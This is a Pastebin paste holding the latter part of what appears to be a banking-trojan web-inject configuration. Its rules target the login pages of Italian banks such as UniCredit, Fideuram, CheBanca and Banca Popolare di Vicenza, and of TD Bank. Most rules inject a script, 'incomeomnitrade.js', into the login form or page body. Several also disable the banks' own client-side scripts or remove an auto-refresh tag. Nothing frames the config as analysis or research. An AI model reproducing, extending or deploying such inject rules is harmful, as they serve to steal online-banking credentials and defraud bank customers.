  2603. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://bancaincasa\.sba\.bcc\.it/.+/htdocs/(index\_ita\.html|loginVersion\.html)</url>
  2604. </conditions>
  2605. <actions>
  2606. <modify>
  2607. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2608. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2609. </modify>
  2610. </actions>
  2611. </httpinject>
  2612. <httpinject>
  2613. <conditions>
  2614. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.fideuramonline\.it/script/LogonServlet</url>
  2615. </conditions>
  2616. <actions>
  2617. <modify>
  2618. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  2619. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  2620. </modify>
  2621. </actions>
  2622. </httpinject>
  2623. <httpinject>
  2624. <conditions>
  2625. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\d*\.csebo\.it/webcontoc/\d*login</url>
  2626. </conditions>
  2627. <actions>
  2628. <modify>
  2629. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2630. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2631. </modify>
  2632. <modify>
  2633. <pattern modifiers="i"><![CDATA[wscript20\.js]]></pattern>
  2634. <replacement><![CDATA[wscript20.css]]></replacement>
  2635. </modify>
  2636. </actions>
  2637. </httpinject>
  2638. <httpinject>
  2639. <conditions>
  2640. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.bancanuova\.it/bn\-web/home/atTime\.html</url>
  2641. </conditions>
  2642. <actions>
  2643. <modify>
  2644. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2645. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2646. </modify>
  2647. <modify>
  2648. <pattern modifiers="i"><![CDATA[(ob\-cliente\.js)]]></pattern>
  2649. <replacement><![CDATA[\11]]></replacement>
  2650. </modify>
  2651. </actions>
  2652. </httpinject>
  2653. <httpinject>
  2654. <conditions>
  2655. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.popolarevicenza\.it/bpvi\-web/home/atTime\.html</url>
  2656. </conditions>
  2657. <actions>
  2658. <modify>
  2659. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2660. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2661. </modify>
  2662. <modify>
  2663. <pattern modifiers="i"><![CDATA[(ob\-cliente\.js)]]></pattern>
  2664. <replacement><![CDATA[\11]]></replacement>
  2665. </modify>
  2666. </actions>
  2667. </httpinject>
  2668. <httpinject>
  2669. <conditions>
  2670. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.farbanca\.it/fb\-web/home/atTime\.html</url>
  2671. </conditions>
  2672. <actions>
  2673. <modify>
  2674. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2675. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2676. </modify>
  2677. <modify>
  2678. <pattern modifiers="i"><![CDATA[(ob\-cliente\.js)]]></pattern>
  2679. <replacement><![CDATA[\11]]></replacement>
  2680. </modify>
  2681. </actions>
  2682. </httpinject>
  2683. <httpinject>
  2684. <conditions>
  2685. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ebanking\.clarisbanca\.it/wps/wcm/connect/web\+content/GVB\-LoginHB/GVB\-Login/LoginGVB/</url>
  2686. </conditions>
  2687. <actions>
  2688. <modify>
  2689. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  2690. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  2691. </modify>
  2692. <modify>
  2693. <pattern modifiers="i"><![CDATA[(cliente\-obf\.js)]]></pattern>
  2694. <replacement><![CDATA[\11]]></replacement>
  2695. </modify>
  2696. </actions>
  2697. </httpinject>
  2698. <httpinject>
  2699. <conditions>
  2700. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://.*/script/Login2Servlet(\?|$)</url>
  2701. </conditions>
  2702. <actions>
  2703. <modify>
  2704. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  2705. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  2706. </modify>
  2707. </actions>
  2708. </httpinject>
  2709. <httpinject>
  2710. <conditions>
  2711. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://online\.crfossano\.it/nb/it/home2\.jsp</url>
  2712. </conditions>
  2713. <actions>
  2714. <modify>
  2715. <pattern modifiers="i"><![CDATA[(</body>\s*</html>)]]></pattern>
  2716. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  2717. </modify>
  2718. <modify>
  2719. <pattern modifiers="i"><![CDATA[<meta http\-equiv="refresh" content="300">]]></pattern>
  2720. <replacement><![CDATA[]]></replacement>
  2721. </modify>
  2722. </actions>
  2723. </httpinject>
  2724. <httpinject>
  2725. <conditions>
  2726. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.chebanca\.it/wps/portal/Istituzionale/login</url>
  2727. </conditions>
  2728. <actions>
  2729. <modify>
  2730. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  2731. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  2732. </modify>
  2733. </actions>
  2734. </httpinject>
  2735. <httpinject>
  2736. <conditions>
  2737. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://online\-(retail|private|smallbusiness)\.unicredit\.it/login\.htm</url>
  2738. </conditions>
  2739. <actions>
  2740. <modify>
  2741. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2742. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2743. </modify>
  2744. </actions>
  2745. </httpinject>
  2746. <httpinject>
  2747. <conditions>
  2748. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.bpmbanking\.it/pri/login/privata\.do
  2749. </url>
  2750. </conditions>
  2751. <actions>
  2752. <modify>
  2753. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2754. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2755. </modify>
  2756. </actions>
  2757. </httpinject>
  2758. <httpinject>
  2759. <conditions>
  2760. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://businessonline\.tdbank\.com/corporatebankingweb/core/login\.aspx
  2761. </url>
  2762. </conditions>
  2763. <actions>
  2764. <modify>
  2765. <pattern modifiers="msU"><![CDATA[(<body.*>)]]></pattern>
  2766. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2767. </modify>
  2768. </actions>
  2769. </httpinject>
  2770. </httpinjects>
  2771. </settings>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!